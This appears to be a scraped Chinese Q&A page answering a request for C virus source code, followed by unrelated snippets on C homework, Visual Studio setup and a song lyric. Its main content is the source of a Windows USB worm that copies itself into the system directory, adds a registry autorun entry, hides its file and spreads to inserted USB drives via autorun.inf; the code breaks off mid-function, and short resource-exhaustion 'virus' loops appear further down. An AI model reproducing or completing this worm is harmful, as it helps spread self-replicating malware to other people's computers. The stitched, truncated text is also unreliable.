三九宝宝网宝宝教育教学论文

谁有C语言编写的病毒源代码

01月08日 编辑 39baobao.com

[C语言编写什么程序可以计算分段函数]1、编写如下: //100分制 #include <stdio.h> void main() { int score,t; printf("输入成绩:"); scanf("%d",&score); t=score/10;//t的取值0,1,2,3,4,5,6,7,8,9,10 switch(t) { case...+阅读

一个c病毒源代码#include#include#include#include#include#pragma comment(lib,"shlwapi.lib")#define TIMER 1//计时器//functionLRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程//获取盘符TCHAR FirstDriveFromMask (ULONG unitmask);//病毒从U盘启动时用到的函数BOOL FileExist(TCHAR *path);//测试一个文件是否存在BOOL GetSelfPath(TCHAR *path);//Get the virus's path//BOOL FindU(TCHAR *u);//check whether u exist, u[2]BOOL GetSysPath(TCHAR *path);//得到系统路径BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动//从C盘启动时用到函数BOOL CopyToUAndSet();//复制自己到U盘BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件BOOL FindSelf();//测试自己是否在已经执行了//global variableTCHAR szExePath[MAX_PATH];//the virus's pathTCHAR U[2];//保存U盘的盘符TCHAR szSysPath[MAX_PATH];//system path//constantconst TCHAR *szExeName="bbbbb.exe";const TCHAR *szSysName="aaaaa.exe";const TCHAR *szAutoRunFile="AutoRun.inf";int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow){static TCHAR szAppName[]=TEXT ("UUUUUU");HWND hwnd;MSG msg;WNDCLASS wndclass;wndclass.style =0;wndclass.lpfnWndProc =WndProc;wndclass.cbClsExtra =0;wndclass.cbWndExtra =0;wndclass.hInstance =hInstance;wndclass.hIcon =0;wndclass.hCursor =0;wndclass.hbrBackground =0;wndclass.lpszMenuName =NULL;wndclass.lpszClassName =szAppName;if (!RegisterClass (&wndclass)){MessageBox (NULL,TEXT("Program requires Windows NT!"),szAppName, MB_ICONERROR);return 0;}hwnd = CreateWindow (szAppName, NULL,WS_DISABLED,0, 0,0, 0,NULL, NULL, hInstance, NULL);while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage (&msg);DispatchMessage (&msg);}return msg.wParam;}LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam){PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;switch(wParam){case DBT_DEVICEARRIVAL: //插入if (lpdb ->dbch_devicetype == DBT_DEVTYP_VOLUME){PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符//MessageBox(0,U,"Notice!",MB_OK);CopyToUAndSet();//拷到u盘}break;case DBT_DEVICEREMOVECOMPLETE: //设备删除break;}return LRESULT();}LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam){switch(message){case WM_Create: //处理一些要下面要用到的全局变量U[1]=':';GetSysPath(szSysPath);//得到系统路径SetTimer(hwnd,TIMER,5000,0);//启动计时器GetSelfPath(szExePath);//得到自身的路径return 0;case WM_TIMER: //timer messageif(szExePath[0]==szSysPath[0]) //如果是系统盘启动的SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息else{CopyToSysAndSet(hwnd);//拷到系统盘并自启动}return 0;case WM_DEVICECHANGE:OnDeviceChange(hwnd,wParam,lParam);return 0;case WM_DESTROY:KillTimer(hwnd,TIMER);PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);}TCHAR FirstDriveFromMask(ULONG unitmask){char i;for (i = 0; i>1;}return (i + 'A');}BOOL GetSelfPath(TCHAR *path){if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录{return TRUE;}elsereturn FALSE;}BOOL GetSysPath(TCHAR *path){return GetSystemDirectory(path,MAX_PATH);//得到系统路径}BOOL CopyToSysAndSet(HWND hwnd){TCHAR szPath[MAX_PATH];lstrcpy(szPath,szSysPath);lstrcat(szPath,"\\");lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件{CopyFile(szExePath,szPath,FALSE);RegAutoRun(szPath);return SetFileAttrib(szPath);}else{if(!FindSelf())//检测自己有没有运行{//MessageBox(0,szExePath,szPath,MB_OK);WinExec(szPath,SW_HIDE);//没有就执行SendMessage(hwnd,WM_CLOSE,0,0);//结束自己}}return FALSE;}BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在{int result;result=PathFileExists(path);if(result==1)return TRUE;elsereturn FALSE;}BOOL SetFileAttrib(TCHAR *path){return SetFileAttributes(p...

以下为关联文档:

C语言电文破译题目和我编写的程序如下请大神指出我错在哪里你没有处理第一个数据……人家第一个数据是总的测试个数……你读到哪里去了?? #include #include void Decrypt(char &c) { if ( c >= 'a' & c <= 'z' ) { c = 'z' - (c - 'a'...

c语言程序中怎样用rand函数编写一个从1到33中任选6个不同的数的程先建一个数组ay= {1,……33}, 指针*p = ay 首先,了解rand()/33 即是从0-32中任选一个数 则第一个数a = *(p+rand()/33) 然后,从剩下32数中任选一个数b,过程如下: for(int i = a; i...

C语言程序设计编写函数number展开全部 #include int number(int x, int w) { //返回整数number的从右往左数的第W位的数,如果x不满足w位,则返回-1。 if(x < 0) x = -x; while(--w > 0) { x /= 10; if(x ==...

如何使用vs2015编写c语言1.创建项目,【文件】》【新建】》【项目】 2.项目类型为【Win32控制台应用程序】,自己定义项目名称,确定 3.按照Win32应用向导完成设置,【下一步】即可 4.选择应用类型为【控制...

如何用VS2012编写c语言打开vs2012——文件——新建——项目 单击(如zhidao图) 在对话框左侧分别找到模板——其他语言——visual c++——win32(如图) 选择“win32控制台应用程序”并设置好”名称“和...

如何使用visualstudio编写c语言程序1电脑上安装微软公司的VS2013,可以从dreamspark 上下载正版或通过其他途径获得,安装即可。 2 打开VS2013, 3 可以通过点击文件 - - 新建 - - 项目 建立工程或者点击 欢迎页的...

编一首歌曲编写虫儿飞我们都约定再会 请记得曾经最美 虫儿飞 云儿追 春光亦相随 静静的风吹浪尾 摇曳的星辉无眠 一席梦 一夜泪 蝉声依旧美 秋叶飞 冬雪坠 时光依然铭记谁 冬春夏秋 与你同走 暖...

求几个C语言简单病毒源代码去这里看看吧,很全的。nbsp;我这里也给你提供一些编病毒的语句nbsp;隐藏窗口:ShowWindow(false);nbsp;(#includenbsp;amp;lt;windows.hamp;gt;)nbsp;将程序暂停一秒后继续执行:sle...

用c语言编写一个计算机病毒的例子简单啊 void main() { while(1) {} }//死循环,电脑用不了 或者这样 void main() { while(1) { char *a=new char(1024); } }//吃光你的内存 还能这样 #include #include void...

推荐阅读
图文推荐